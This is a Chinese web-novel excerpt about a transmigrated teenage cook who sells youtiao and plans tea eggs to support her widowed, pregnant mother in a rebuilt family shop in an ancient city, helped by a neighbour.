《春秋小食肆》
1. 定挽桥油条
晨雾还未散去,朝阳已然升起。秋初的凉风拂过内城河,吹醒云梦城。
卖菜的吆喝声此起彼伏地响起。
“新鲜的瓠瓜、冬葵、韭菜——”
城外种菜的菜农一早就赶到城门口等着进城,趁着菜还水灵才能卖好价,要是到中午点蔫巴了,折价一半都未必有人要。
他们的吆喝声比公鸡打鸣都早。
内城河两岸沿街的商铺们这才三三两两地开了门,大家睡意惺忪,神情慵懒。
小摊贩们推着车轮滚过青石板的咕噜声、吆喝声,内城居民喊小孩起床声、夫妻拌嘴声、锅碗瓢盆碰撞声、鸡鸣狗叫声不绝于耳,整座城活了过来。
内城河靠近东城门,城门外便是云梦城的漕运码头,货运往来十分频繁。
河上数座石桥连通两岸,而定挽桥直通东城门大道,是去漕运码头上工的必经之路。也因此云梦城中就属定挽桥这一片最为繁华,行人络绎不绝。
沿街的商铺租金高攀不得,做些小生意的商贩们只能沿河摆摊,常常会为了占一块好地方而大打出手。
而今天,定挽桥下弥漫着一股从未有过的香气,吸引了来往众人的注意力。
只见定挽桥下来,东城门大道旁那间位置最好、但是破败许久的铺面前,支起了一个小小的小食摊子。
小食摊子甚是简陋,一个泥灶火桶上架着一口奇怪的锅,不似寻常用的陶锅或者甑,锅口都是向内聚拢的。那锅浑身漆黑且敞口,内里呈着黄澄澄的一锅油。而那阵香气,就是从锅中传出。
乖乖!
看得人不由得咋舌,油可是稀罕物,谁家做饭舍得放这么多油?
不只是油,那白面也一样价贵,寻常人家做锅盔都只舍得麦麸里面掺一点白面,做出来的面团也是浅褐色。
而一旁或站或坐的众人手中都捧着一根或几根金黄酥脆的长条状物吃着,隔老远都能看见溢出的油花和咀嚼时发出的脆响。
旁边摆着一张桌子,桌脚断了一截,还用石头块垫着,上置两个干净的藤条篮子,砧板上放着一个像是寻常人家用来做锅盔的面团、一根圆棍子、一把刀。除此之外再无其他。
一个面生的乌发小娘子扎着双髻,姿容俏丽,脸蛋红润还挂着浅浅的酒窝,衣着干净朴素,一看就是家里精心养着的小姑娘。她腰上围着青色围裙,站在小食摊子后,手上动作不停,如同变戏法一般。
只见她用那根磨得光滑的圆棍子将面团向四方推开,变成平整略略有厚度的长长方形面片,拿起刀将面片切成一个个长条小剂子;随后用一根筷子沾了一点点水,在每个剂子上轻轻按下一道水痕;再将剂子堆叠粘在一起后,又用刀背在每个小剂子上竖着按下一个深深的印子,捻着一点面粉撒上剂子,小剂子们胖嘟嘟的显得分外可爱。
接着小娘子便把剂子们放到了砧板上,似乎在等着什么。
“满小娘子,还得等多久呀?”周围的食客伸着头,眼神不住的在白胖小剂子和油锅中打转。
被称作满小娘子的满未楹抬起头来,露出盈盈一笑,擦了擦额上被油锅热气蒸出的几滴汗,声音清脆如铃响:“快了,我这就给您炸出来。”
满未楹又往泥炉中加了几块干燥的木柴,原本有些冷却的油锅重新加热,筷子往里面一伸,登时就冒出了白色一团气泡,这便是油温可以了。
她动作利落的将拿起剂子,双手一扯,将面剂子抻长到大半个小臂长,直接放进油锅。
神奇的一幕发生了,面剂子竟然自己膨胀了起来,像是有人在中间吹气一般,表皮变得金黄,裹着润润的油光在油锅中自在漂浮,那股油香混合着面食糖分的香气再度弥漫开来,飘进定挽桥周边的每一个鼻腔中,所有人都深深吸了一口气。
满未楹动作不停,剩下所有的面剂子都如法炮制,一拉一扯,放进油锅中。不一会,那油锅中便挤满了鼓鼓胖胖、甚是可爱的面剂子——
后来的人终于忍不住,上前询问道:“小娘子,这是什么?闻着怪香的。”
满未楹闻言,一边将炸好的油条用筷子捡出,递给已经等候多时的几名食客,剩下的放进干净的藤条篮子中,一边笑着回答周边围观的人,一笑脸上的酒窝更深,端是灵动:“这是油条呢,只要两铢一根,郎君可要尝尝?”
4个圜钱便能买一斗①粟米了,两铢一根油条可不便宜。
但是这油条看起来可真好吃啊。已经拿到油条的食客也不嫌烫,咬下一大口,酥脆表皮的破裂声响在其他人耳边,那香气也让人分外难耐。
而且这可是用白面和一大锅油炸出来的,想想也不算贵。
云梦城乃是晋国第一富庶的地方,当世大家鬼谷子隐居在北面云梦山,各国求学之人络绎不绝;地理位置四通八达又兴建了漕运,城中居民大多舍得花钱买点新奇的东西。
那边犹豫的人很快就把自己劝好了,但是没等他掏钱,一个大汉便急不可耐把他推到一边:“一边去,抠抠搜搜的也不看看这是哪,定挽桥下还嫌贵。”
惹得众人一阵哄笑。
大汉一面鄙夷,一边对着满未楹又换上一副笑脸:“小娘子,给我来上两圜钱的。”
两圜钱也就是十二根。
满未楹正手脚麻利的下新的面剂子:“郎君要这么多?油条油大,吃多了也腻得慌,郎君不如先吃一圜钱的试试合不合口味。”
“我要去码头上工的,”大汉吸了吸鼻子,闻着满空气的香味,“油大不怕,就是得油水填填肚子呢。”
闻言满未楹也不再劝阻,只见她一弯腰,便从小摊二层拿出一张油纸来,利落的将十二根油条裹好,递给大汉。
大汉刚一到手,便立刻大嚼起来,别人都是一根根吃,他倒好,两根一起塞进口中如同牛嚼一般。
刚出锅的油条最是好吃,表皮金黄灿烂,内里多孔洞且蓬松,正散发着热气,混合着盐糖的白面又最能填饱肚子。
大汉一面吃一面夸:“真好吃!小娘子竟有这种巧思,这还是从没吃过的东西。”
满未楹微微一笑,把剩下的面剂子下进锅后,她扬声道:“最后一锅了,今天面团准备的不多,等下便要收摊啦。”
这下犹豫的人也不再犹豫了,本来被壮汉要走了十二根,藤条篮子里剩下的就不多,再一分就不剩什么了,他急忙掏出四铢也要了两根。
满未楹也未曾因为他先前的犹豫而展露任何不同态度,照旧笑眯眯地递上。
大家都是平民百姓,每一铢赚得都不容易。
满未楹时间掐的正好,等最后一锅炸完,泥炉中的木柴刚好烧完。
初秋早晨的风还有些凉意,却被这油条驱散的一干二净。
家住内城河西、定挽桥几条街道外的卢娘子原本是带着女儿出来买菜的,此刻她正和小丫头坐在石墩上,手上捧着四五根油条。
小丫头手小,卢娘子便把油条沿着刀压出的印子撕成两半给她,小丫头眼睛亮晶晶,抓着半根油条,吃得满嘴油花,连衣
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襟上都沾了不少。卢娘子宠溺得看着她,娘俩分食了一根又一根,甚是满足,等抬起头来想再买点回去给家人良人阿姑②时,就听到满未楹说要收摊了。
卢娘子抱起小丫头往摊子上够头一看,没了,什么都没了,一干二净。
她急忙问道:“小娘子,明日可还出摊?我早点来等。”
满未楹扬声回答道:“以后日日都出呢,明日我会多备一些,娘子不必起早。”
卢娘子点头,却暗自下定决心,即便小娘子这般说了,她明日也定要早早来,争取吃上第一锅新出的、热腾腾的油条,还要给家里买一份。
油条卖光了,原本聚集在小食摊前的食客们也三三两两散去。
满未楹看了眼日头,加快了收拾的动作。
卢娘子还没走,看她也没个推车什么的,不由得好奇这个陌生的小娘子是怎么把这堆物事搬来,又准备怎么搬走?
再一看才注意到她是在那间铺面前摆的摊子,当即有些着急,又暗骂自己怎么没早些看见——
卢娘子住在定挽桥附近,也听说过这个铺子的“官司”。若不是出了事,这个地段的商铺又怎么会空置至今呢?
而且官府有令:商铺前不得摆摊,不得影响正常商铺生意,违者杖三十。
先前没这条规定的时候,商铺常常和小摊贩们就这面前一亩三分地打得不可开交,官方接官司接的烦不胜烦,最后便有了这条规定。
卢娘子只怕小娘子初来乍到不知道这条规矩,否则这么好的地段怎么会没人占呢?自然是怕吃皮肉之苦。
今天官方无人巡查,要是被人抓到了或者举报了,细皮嫩肉的小娘子可吃不住官府的杀威棒。
周边小摊贩没人阻拦,只怕也是抱着看热闹的心态。食客不知,难道他们也不知吗?
卢娘子立刻将这点说给满未楹听。
满未楹知道她是好心,心下也是有些感动:“娘子不用担心,这是我家的铺面,我可以在这里摆摊的。”
声音爽朗大气,也打消了旁人那点见不得人的小心思。
满未楹出摊早,只有定挽桥下、内城河边几个菜农看见她从铺子侧门出来了。
官方是怕小摊贩在和商铺主人起冲突才出的规定。
但是如果商铺主人自己在店门前摆摊子呢?那自然无甚可管的。
卢娘子一愣。
满未楹将锅中剩下的油倒进双耳陶瓮中,盖上盖子,而后从袋中掏出铺子的大门钥匙,打开大门,把不好挪动的泥炉、桌子搬进铺子中。
只是一瞥,便能看见里面被打砸的惨状,门窗尚且“完好”,但也一副要掉不掉的样子;敞阔的铺子里,桌凳椅连同着通往二楼的木楼梯也没逃过毒手,全部化成了断木七倒八歪;青石砖地面上因为长久无人打理而积着薄薄的一层灰;原本悬挂在门前的精致丝绸灯笼被随意扔在角落里,丝绸被撕成了破布。
整个铺面散发着难以言喻的气味。
但是满未楹有钥匙,便表示她所言不虚。
卢娘子这才放下心来,她也无意打听别人的家事,和满未楹打过招呼后,便牵着小丫头,挽着菜篮离开。
而桥边小摊贩那些原本不怀好意的目光变成了惊愕、嫉妒。
这可是定挽桥下位置最好、面积最大的商铺!
满未楹把油瓮和铁锅搬进门后,便将大门再次落锁,没有理会门外。
算着时间,娘亲满珣也快醒了,她得赶紧回去料理早食。
2. 小米南瓜粥
没有管桌子,满未楹一手拎着铁锅、另一手拿着砧板和刀,小心翼翼地穿过桌椅凳腿“横尸遍野”的商铺大堂——并非满未楹懒惰不收整,实在是现下分不出那许多精力来——再穿过跨院,来到分隔前内院的石墙前。
石墙上开了个角门,挂着刚上过油的铜锁。
满未楹将手中家伙什放下,从内襟里掏出钥匙,打开门锁后再拎起,回到内院。
内院经过满未楹这几天的收拾已经变得至少能看过眼去。
要知道,满未楹风尘仆仆回来那日,整个内院也和前面一般,被人打砸得无一处完好,杂草丛生,连墙角瓦罐都被打碎、井上木板只剩下了一小半搭在边缘、磨刀石碎了一地、小菜田里种的菜连根拔起留下数个小坑......
后院的几间屋子里,只有一间厢房还残存残留门窗,其余屋子不仅是门窗,甚至床铺都被砸毁,一地狼藉。
现下虽然满未楹不能自己新做门窗,但是杂草、碎石、瓦罐碎片都已经打扫出去,碎裂的青石板扫掉了破碎边角,垫上了石块防止踩空。
厢房中寂静一片,娘亲满珣还未起身。
满未楹将东西放回内院南角搭的小厨房中,复又折回把泥炉和油罐都搬了进来,虽然来回搬动琐碎,但现在也是没法子。
她这具身体现下才十五岁,使不出多少力气来。即便是卖油条,每日能做的也有限。
当时搭厨房的工匠很是有巧思,南边墙和旁边人家相连,自然是不好南北都开窗让整个小厨房通透起来,但是他在两侧头顶开了可拉伸的木头天窗,油纸防水、用绳牵引,天晴打开、落雨合上,还方便厨房通风散味。
满未楹把泥炉拎到一个天窗下,重新生起火来料理早食——灶台是不用想了,早也跟着内院一起被砸了,要说这家里还有什么好的,也就只剩下这几堵墙。
今天是她第一天出摊,没有揉太多面,这样即便卖不完,也能回家来扯个面条。
只是没想到今天甚至都不够卖的。
满未楹从院中井里提起小半桶凉渍渍的井水,井上提水的轱辘也坏了,只能手提。
满未楹也不急躁,她一直是这样的性子,事情做不过来那就慢慢做,再急也得分轻重缓急,把自己搞伤了反而得不偿失。
自从觉醒了前世记忆,带着娘亲离开了那个蛇虫蚁窝,又打定主意要在云梦城好好安身立命,自然不能急于一时。
她提着井水回到了小厨房内,分出一点来淘米。
时人多吃粟米,也就是后世所说的小米;大米也有,但是因为种植少,因而价贵一些。所幸云梦城内外多肥田,虽然价贵,但是也比别地便宜。
满未楹淘净小米,将它放在水中浸泡一会,这样口感会更软烂,也不会出现夹生的情况。
而后在砧板上切下半个番瓜,这还是一大早出门摆摊时,从一个面善小菜农那里买的,小菜农口口声声说这是他爹从漕运行商那买来的种子,名叫番瓜,精心养出来,结果不易,甜丝丝的比糖还甜。
卖得不贵,半圜钱一个,但是谁也没吃过这东西,竟都不敢尝试。
满未楹眼尖,隔老远就看见那黄澄澄如同抱枕的瓜,一看便知那是南瓜,切小块用来做南瓜小米粥最好不过。小米粥养胃,加了南瓜性甜。
满珣怀孕四月,风餐露宿回到云梦城吃了不少苦,一路上只能吃硬邦邦的锅盔、聚成块的米条,调味也只有浸了醋的醋布。
好容易支撑回来,看到家中是这等惨状,当夜便发热病倒,又因有孕,医师也不敢大量用药。万幸只是悲恸下的心力交瘁,休息几日便能养好。
满未楹心里想着事,但是手上也不停,南瓜掏了瓤,刚想像记忆里那样执在手上便削皮,但想了想现在的手艺,还是不敢托大,伤了手对现在的她来说可是天大的事。
这时代种出来的南瓜做不到皮薄,一分半厚的皮切下去,本就不大的瓜也剩不得多少,但是内里一片熟透,果肉脆生,一看便确实是养得很好的瓜,只是碍于品种表现得皮厚罢了。
南瓜肉切成薄片,等下更好炖烂、糯糯的和小米粥混在一起,大清早吃上这么一碗碳水混合物,最是饱腹。
陶瓮虽然煲粥更好喝,但是铁锅加热快、受热更均匀,能更快吃上早食,唯一不好的就是要时刻搅动,不然粥会糊底,到时候不仅口感不好,锅焦了也难清洗。
说起来这铁锅,包括今天所用的油等一应物事,还是归家路上一桩奇遇所得。
要不然以满未楹和娘亲剩下的钱财,还真舍不得做油条这样的食物,虽然油可以重复利用,但是一次性投入巨大也不假。
况且精铁难得,这个时代的铁属于冷兵器重要战略物资,等闲人得不到这么大一块铁,更遑论用来做锅具、整治吃食这么奢靡的事。
小米和井水一起下进锅中炖煮,等水开之后再加南瓜片进去,到时候南瓜一捣就烂。
而在这段时间里,满未楹倒出钱袋里的钱来,一枚枚细细数过。
今天准备的面团不多,因而油条也只卖了一百多根,这还是有人尝鲜的情况。但是情况已经比满未楹想象中要好很多,钱袋中的铢加上圜钱一共二十二个圜钱。
虽说油条卖得好,但是并不能长久。一则她体力有限,揉面是个功夫活,面团还不能长时间放置,醒发过头了就一股酸味;二则一直吃油条也会吃腻了,到那时就会卖不掉。
她得再试试能做点别的什么早食。
满未楹重新收好钱袋,看了眼锅中小米粥正咕嘟咕嘟冒起小泡,她将南瓜片加入,拿起筷子轻轻搅拌起来,再炖煮一会,加一点盐和一点糖便能出锅。
南瓜的甜香盈满整个小厨房,甜蜜蜜的味道也暂时驱散了满未楹心头的一点点阴霾。
办法总会有的,眼下先吃饭。
她将南瓜小米粥盛到两个粗瓷碗中凉一会,金黄的米粥裹着粘稠的南瓜糊糊,看一眼就知道喝下去能有多满足。
满未楹把净水倒进陶瓮中煮开水,这才端着碗筷,走出小厨房,来到了那间门窗尚且有一半完好的厢房里,轻轻喊着床上的女人:“娘,起来用早食了。”
厢房内,破旧木床上,秀美孱弱的女人微微皱着眉,似是在做噩梦,她面容苍白,骤然被满未楹喊醒,仍然有些惊魂不定。<
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满未楹凑上前去摸摸她的额头,终于露出今天第一个真心实意的笑容:“一点也不热了。”
她扶着满珣坐起,倚在床头,满珣小心翼翼地捂着肚子。
满未楹端来小米南瓜粥,生怕满珣刚起手无力,执意要喂她。
满珣摸着她的脸,蓦然又掉起眼泪:“都是娘没用......”
满未楹知道她在说什么。
但是也怨不得任何人。
满珣十六年前认识了卖货郎杜大,从晋国云梦城远嫁卫国,虽然舅姑偏心小叔子,但是有杜大的袒护,生活还算美满幸福。结果不久前,杜大带着满未楹上山采药,突发暴雨继而引发山洪,把两人冲落山崖,满未楹命大被村人捡了回来,杜大却再也没找到。
小叔子原本就在准备成婚娶亲,正是用钱的时候。杜大没了,交给家中的进项自然也没了。有人就盯上了满珣。
怀着四个月遗腹子的寡妇,带着没婚嫁的女儿,每年又有着商铺租金的进项,太好被吃绝户了。只要满珣没了,铺子自然就归了满未楹,作为孤女的满未楹,那还不是任杜家拿捏。
千算万算没算到满未楹从山上摔下来,竟然觉醒了前世的记忆。
前世她是白手起家,从早餐铺子做到连锁酒店的厉害人物,见识过太多腌臜人和事,自然不肯束手就擒,白白让人吃了自己。
县志有条例,丧夫女子可自行带着嫁妆返回娘家,再嫁或守寡均不干涉,从此前夫家与她均无任何瓜葛。若是有子嗣,儿子需要留在夫家,女儿也可自行带走。
满未楹找到机会,请来了里正,闹上了官府。最终母女二人得以带着所剩不多的嫁妆脱身。
本以为回到云梦城,好歹有个铺子,有个稳定的进项,娘俩生活不愁。
谁知铺子在娘俩不知道的情况下,被牙子保人和赁房人惹上了官司,据说还是个权贵,被人寻上门来一通打砸,从前到后连墙角瓦罐都不放过。
仅剩的这间厢房据说还是当时有个租住的小娘子卧床生病,怕真的闹出人命来,这些人残存了点良知,这才收了手。
官府抓了几人,俱是些无家人的泼皮无赖,烂命一条,赔钱那是一个铢也没有;再往上查也查不了,这可不是什么法治社会,说破天了也就是一个小铺子的事。
满珣父母去得早,她也没有兄弟姐妹;杜大和满未楹是她唯一的亲人。
现在杜大没了,舅姑小叔险恶,风尘仆仆归家看到铺子境况时,最后的指望也轰然倒塌,满珣当天便病倒。
请医问药花掉了仅剩的大半圜钱,钱袋逐渐羞涩,满未楹这才在满珣稍好的这天出门摆摊卖油条。
满未楹倒是无甚可怨的,命的事毫无办法,但是人不能就这样认命。
她有一身厨艺,绝不会让自己和满珣饿死。
而且眼下已经入秋,至多不过三月便要入冬,云梦城的冬日从不留情,连漕运运河都会冻住。到那时若是还没把房屋修缮好,只怕真的要出事。
“小满!开门!”
洪亮又中气十足的女人声音在侧门外响起,猛得把满未楹的思绪拉了回来。
3. 尤婶子
满未楹听到声音,把碗放进满珣手中,又把钱袋掏出,塞进她的被窝里,动作行云流水,而后站起身来,一边往外走一边回应:“来了!”
打开角门,来到前院的侧门前,给拎着篮子等在门外的尤婶子开了门。
尤婶子丝毫不见外,她是个急性子,还嫌满未楹开门开慢了,见她开门就立刻挤了进来:“可用早食了没?我给你们娘俩带了鸡子和一只鸡来,你会炖鸡的?今天太阳好,把你娘搀出来晒晒太阳,你去把被褥拖出来晾晒。”
她嘴皮子不停,声音高亢,脚下也不停,如风一般卷进了内院,发福的身材灵活的一转就进了小厨房。
“这是做了什么?这么香?”
满未楹落锁后跟了进来:“小米番瓜粥,医师说我阿娘要吃点柔软好克化的。婶子用过早食没?一起和我们吃点吧。”
“我吃过了,你留着给你娘吃,她得多补补!”尤婶子从不占别人便宜,素来心直口快,无比爽利。
她放下手中的篮子,把刚宰好的鸡拿出来,又拖过满未楹早上用来盛油条的篮子,把自己带来的鸡子往里放,一面说着:“鸡子给你,篮子我可得带回去,用了有些年头了,现在也不多见这样好的藤条。”
“婶子别,这怎么能行。”
满未楹急忙想拦,却被尤婶子横了一眼:“我看着你娘长大的,看着她出嫁的。现在你们娘俩没了男人还被赶回来,家里又是这个光景,我不管你们谁管?”
满未楹推脱不得,只能先记下这份情意。
尤婶子就住在街后小巷一套大五居里,四个儿女都已成家,剩下一个老来子还没成年。
当年她和满珣父母是旧识,两家一起在定挽桥这里买了房子。
二十多年前鬼谷子还未发迹,云梦城也不过是个偏隅小城,没有运河也没有这么多农田,远不如今日这般繁华,因而那时房价极低。
尤婶子家里人多,为了良人在城里当值这才进城来买了更大的屋子。
满家只有一个满珣,他们本是城外富农,为了女儿有玩伴,也跟着进城,又存着给女儿攒嫁妆的心思买了这处临街的铺子,后面角门一锁便是住人的地方。
铺子出事前谁不羡慕满家父母有眼光?
可是再看看如今,尤婶子深深叹一口气。
她放下东西便去屋里看满珣,满珣刚吃完小米粥。
尤婶子仔细打量了她一会,又摸了摸额头和肚子,这才放下心来。
满珣虽然尚在病中,但是依旧能看出来是个姣好的美人,身形瘦弱,即便裹着棉衣也丝毫不见臃肿之态。
“小满这孩子是个有成算的,又有手艺还勤快,还好你还有这么个女儿在身边。”尤婶子也听说了满未楹早上出门摆摊的事,早上她的大儿媳还出门买了几根油条回来尝鲜。“我家后院驴棚前几天被我那小孽畜踩塌了,我正好要喊个木匠上门来修,正好喊他把你们这门窗也补一下,工钱到时候我一并结了。”
满未楹和满珣还没张口,便被尤婶子瞪了回去,“别说些有的没的,马上都快十月了,过了秋老虎再下场雨,你们就知道云梦城冬天的厉害了,至少先把这件屋子的补好。用不着在这上头跟我客气,而且我也不是白给,到时候你们是要还给我的。你也快些好起来——”说着尤婶子就扬起手想拍一下满珣,想想她现在的身子,愣是拐了个弯拍到了被子上,但话还是要继续说的。“去找点事做,我记得你一手好绣工,隔壁淮家小娘子和她嫂子就是做成衣铺子的,一堆娘子们在她们那寄卖绣品。就算死了男人也不能让这点子大的女儿养着,拖着个娘她还要不要嫁人?你肚子里那个还养不养?”
尤婶子噼里啪啦一通说,满未楹插不上嘴被她指过去吃早饭。
尤婶子可不避讳满珣的伤心事,就得多提提,说多了就麻木了,人也能走出来。她第一个孩子高烧没了,她逢人就说,择菜也说,播种也说,把伤心说出去,人也活泛起来。满珣要是恨上她也无所谓,她又不靠满珣生活。
尤婶子闲不下来,又跑去屋后把窗户支起来,后院里也是一派不堪入目。她又叹一口气,好好的房子,真是造孽啊。
“中午给你娘把鸡汤炖上,那是我家养的小公鸡,肉嫩得很。”尤婶子说着就起身向外走去,风风火火。
尤婶子家赚钱的人多,也不缺钱;但是吃饭的嘴多,开销也大,因此自家过日子也得有章程,能自给自足最好。所以她在后院里养了不少鸡鸭,尤婶子给满未楹带来的几十只鸡蛋便是自家母鸡下的,小公鸡长到几个月,自家吃一些,剩下的卖给酒楼和街坊四邻,谁都知道尤婶子家鸡养得好。
满未楹拿着圜钱就追了出去,想要塞给尤婶子,却被她一把推回。她的力气哪里比得上尤婶子,又挨了一瞪:“你钱多是不是?我还差你这几个圜钱?回头有你还的时候,急什么。”
一边说一边把满未楹推回墙内,顺手就把厚重木门合上了:“锁好门!”
满未楹只得抓着钱又带了回来。
满珣已经自己下了床,正把碗筷端到井边清洗,只是这几步路就让她气喘吁吁。
满未楹接过手来,让满珣去廊下坐着晒晒太阳,小厨房里水烧开了,满未楹拎着锅出来一起用热水洗一遍,洗碗用的草木灰还是尤婶子前两天送过来的,尤婶子虽然大大咧咧,但是实在是个细心的人。
能在人生地不熟的云梦城遇到这样一个好心人,实在是不幸中的万幸。
“早上油条卖了二十二圜钱,刨掉买精面粉的二十铢,柴火钱便算两铢吧,今天净赚了不少。”满未楹和满珣小声聊着天,洗好碗她便把尤婶子送来的小公鸡拿出来清洗,用刚烧好的热水烫一遍去去腥。
“多亏了那位路上遇到的贵人,油和糖盐都没算钱,只是这些早晚会用完,这些都是贵价调料,以后成本可就上去了。”满未楹仔细地算着账,其实精面粉价格也不低,几乎是小麦粉这种混了麦麸的面粉价格两倍。
寻常小麦粉只要两铢一斤,精面粉要五铢呢。
说着说着,满未楹就想到了尤婶子送来的那几十个鸡子,她眼前一亮:“阿娘,我们带回来那个包袱呢?”
满珣进屋去给她寻了出来,沉甸甸地拎在手上。
满未楹在包中翻翻捡捡,她印象里那位贵人嫌挑挑拣拣太麻烦,直接让仆从把整包东西都给了她。她凭着记忆里的印象找到了那几包精心扎着的晒干。
“小满,这是什么?”满珣也凑过来看,这些物什有干果状,也
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有叶片状,但是无一例外都散发着浓厚的气味,现在闻起来还有些冲鼻子。
“好东西。明天我可以做新的早食了。”满未楹笑着回答。
那名仆从赠送给她时,还说了一番来历。这些都是他家主人好友游历西域犬戎一带带回来的,说是当地有人以此调味,他家主人口味素来清淡,闻之便不喜,娘子手艺非凡,与其扔了不如赠给娘子,也算有一番用途。
其实这些只是后世常见的八角、桂皮、香叶等“大料”,非常适合用来做卤料。
此间显然还未发掘出它们的用途,因此虽然称不上贵比黄金,但是论获取难度,也不亚于黄金了。
贵人出手大方,他的友人亦是阔绰,论两卖的大料数斤的赠送。
当日满未楹看到时便十分震惊,只是归家来太忙碌,愣是抛在了脑后,今日看到这些鸡子才想起来。而满未楹准备做的,就是茶叶蛋。
“小满,我想着。”满珣看着她的手,满眼心疼。
满未楹再怎么小心,炸油条时不可避免地会被溅起的油花烫到,原本白嫩的手上一串红点。时人讲究肤如凝脂,柔夷如雪。这样实在称不上美。
“我想着把这间铺子带着后面的屋子一齐卖掉,这个地段的铺子应当不愁卖。”满珣慢慢说着自己的打算,“到时候我们另外赁屋住,你也到了这个年纪,到时候寻个好人家出嫁也有一笔嫁妆,不必像今日这般吃苦。”
满未楹停下挑拣的手,她定定地望向满珣。
她是了解满珣的,毕竟和她一起生活了十五年。
满珣一直被娇养着,小时候有父母,出嫁了有杜大。即使嫁到了杜家,杜大也从不让她料理家事,不需要为庶务担忧。
这三十多年的人生都是这样一帆风顺,事事不用愁。
因此当风险到来时,满珣毫无抵抗之力就被击倒了,若是满未楹没有觉醒前世记忆。只怕此刻二人已不能全须全尾地站在这里。
满未楹并不想批判什么,满珣就是这样被教导长大的,在她的认知里,她已经努力在为满未楹找一个不要吃苦的道路。
只是靠山山倒,靠人人亡,世事脆弱,如今还能再倚靠什么?
只有靠自己。
满未楹低下头,重新翻捡起香料,每样不需要拿多少。
“阿娘,这可是姥姥姥爷最后的念想了,你也是在这里长大的。要是卖掉了,满家最后的门庭也没了。”满未楹先是说出了满珣最大的心事,满珣果然抿紧了唇。
“而且,我们孤儿寡母的,要是带着大笔钱赁别人房子,难保不被有心之人盯上,哪里有自家安全?”满未楹徐徐道来,“再说了,这里地段这么好,你也知道我自小就有整治吃食的手艺,何愁我们日后没有进项?不过是稍微吃点苦,总比以后再被人算计、赶出家门的好吧?”
满珣原本就不是一个多么有主见的人,需要时时刻刻有人给她主心骨。
既然现在满未楹主意已定,她便什么都不再说,再者,她心里也是舍不得这里的。
满未楹挑好香料,准备明天早上就卤茶叶蛋吃,既然是做茶叶蛋,现在就还缺了最重要的茶叶一项,家中自然是没有。
满未楹收拾了下,便拎着钱袋子出了门。
4.茶叶蛋
定挽桥两岸对面大大小小的商铺此刻都开了门,琳琅满目,繁华非常。
满未楹从侧门而出,只走了十来步便到了大街上,耳边充斥着热闹的交谈声,宛如蝴蝶进了花花世界,一时间被迷花了眼。
陶器铺门口放满了大小不一的锅甑碗勺,成衣店门口的小鼎燃着香,药材店铺的小童正忙忙碌碌把各色药材摆出来晾晒,米粮行门前正好停下一辆从漕运码头而来的运粮车......
除却有门店的商铺,小摊贩也在内城河边一字排开,卖花卖玩具卖布匹......日头渐午,卖菜的菜农挑着担子在坊巷间兜转,想把剩下的菜尽快卖掉,他们便可出城去。
而满未楹目标明确,便是桥对岸的一间杂货铺,不似其它店铺专精一项,它专门卖品质不那么高,但是日常都能用的各类小杂货,相应的量也不大。满未楹早上用的油纸①便是从这里购得,店主还好心地给她裁开。
杂货铺店主是对年纪不大的崔家兄妹,此刻哥哥已经去了码头接上次定的货,妹妹留在店中看店。
“小满娘子,”崔灵运正在门前小摊上摆放毛笔和切好的墨块,看到满未楹登门,笑语盈盈地打着招呼,手上动作不停,“早上那叫油条的早食好吃的很呢,我哥哥带回家时我还不知道是什么,现下连我父母亲都在问明天早上可还会卖。”
满未楹点点头:“多谢崔小娘子捧场,明天早上还会继续出摊的。”
“那我们便等着了,小满娘子今天是要来买什么的?”崔灵运站起身来,身段修长,青色左衽配深绿色下裙,外搭一条雪青色罩裙,看起来素雅极了。
“想问问可有茶叶?”说着二人走进店铺中。
比起满未楹家的铺子,杂货店面积不大,只有一开间,内里摆的满满当当,甚至还有不少红枣之类的干货。
崔灵运引着满未楹来到墙边第三个货架前:“娘子请看,我家一共卖这几种茶叶......”
崔家杂货铺主打一个平民低价,自然不会花大价钱采购那些来自秦蜀之地的名茶,此时茶叶也没有衍生出那么多种类来,大多都是几座临城种植的小乌茗、红萃,也就是后世分出来的乌龙茶、红茶的前身。
满未楹是用来煮茶叶蛋的,这些恰好能满足她的需求。
她甚至都不需要买那些制好的大块茶饼,多贵呀,她同样笑着问道:“小娘子这可有茶叶碎末?”
崔灵运脸上的笑僵了一下:“什么?”
杂货店的茶饼都是自己压好、而后用油纸和细绳包出来的,这过程中会自然产生碎末,要是泡茶喝,那真是边喝边呸呸。因此即便是这种小店,碎末也是直接扔掉了事。
但是要说有,那还真有没来得及扔掉的。
“小满娘子,这茶叶碎末可泡不了茶。”崔灵运还想劝一下,“没得招人笑话。”
“放心,我自有办法。”满未楹丝毫不在意,转头便开始砍价,“我买半斤小乌茗和半斤红萃,小娘子不如把店里剩下的碎末都搭给我怎么样?”
这两种最是便宜,一两才二铢,买上半斤,连两个圜钱都用不到。
有人帮忙处理茶叶碎末,崔灵运没有不答应的,小店就是走一个薄利多销,一般人家一次买茶叶也就买个一两。
除了茶叶外,满未楹还称了两斤酱油和黍酒,崔灵运手指灵活的把绳子打了一个可以提着的结,等满未楹回家倒进自家的容器里,再把坛子送回来。
看着满未楹迈着轻盈的步伐,拎着装好的茶叶和茶叶碎末走向定挽桥,崔灵运觉得自己做了桩划算的买卖,但是怎么感觉反而是对方赚到了呢?
路过米粮行时,满未楹进去再称了十斤精面粉,而后便看到了摆在柜台前的精磨大米。
此时人们主要主食还是小米,大米产量不高也尚未普及,因而价贵;即便云梦城内外多肥田,又省了路上运费,大米价格还是接近小米的三倍。
但是大米多好吃呀,光是炒饭一项都能衍生出许多来。
满未楹一起称了两斤回去。
陶器铺开在街角,屋上开着一根巨大的烟囱。
满未楹想再买两个陶锅回去,茶叶蛋的卤汤需要长久保存,越卤味道越醇厚,用来卤茶叶蛋的锅子以后就不能动了;家里现在就一个陶锅,还要日常吃饭用。
这里的工业技术比满未楹想象中要发达,比如要到东汉时期才出现的成熟瓷器正摆在这间陶器铺子中。
或许是平行时空吧,满未楹这么想着,迈进了陶器铺子中,挑了两个深口大肚的陶瓮,一个要五圜钱。她把手中茶叶放进去后,一手拎着陶瓮,另一只手拎着装着酱油和黍酒的坛子慢慢走回家去。
和满未楹家隔了一条纵街的,就在东城门大道北侧的成衣铺子门口,一个小娘子被几个妇人围绕着,她仔细检查着手中的绣品。她看起来和满未楹差不多大,梳着灵蛇髻,如蛇一般旋在脑后,颇为灵动慵懒。
想必这就是尤婶子口中的开了成衣铺子的淮小娘子了。
只是匆匆一瞥,满未楹脚下转了个弯便到了自家侧门前。
*
回到家中,满珣已经在井边把尤婶子送来的那只鸡收拾好了,内脏也扒出来洗净,放在一只陶碗中。
“回来啦。”满珣扶着腰站起。
满未楹看了眼,这只小公鸡两斤多的样子,她准备一半做鸡汤,另一半拿来红烧。
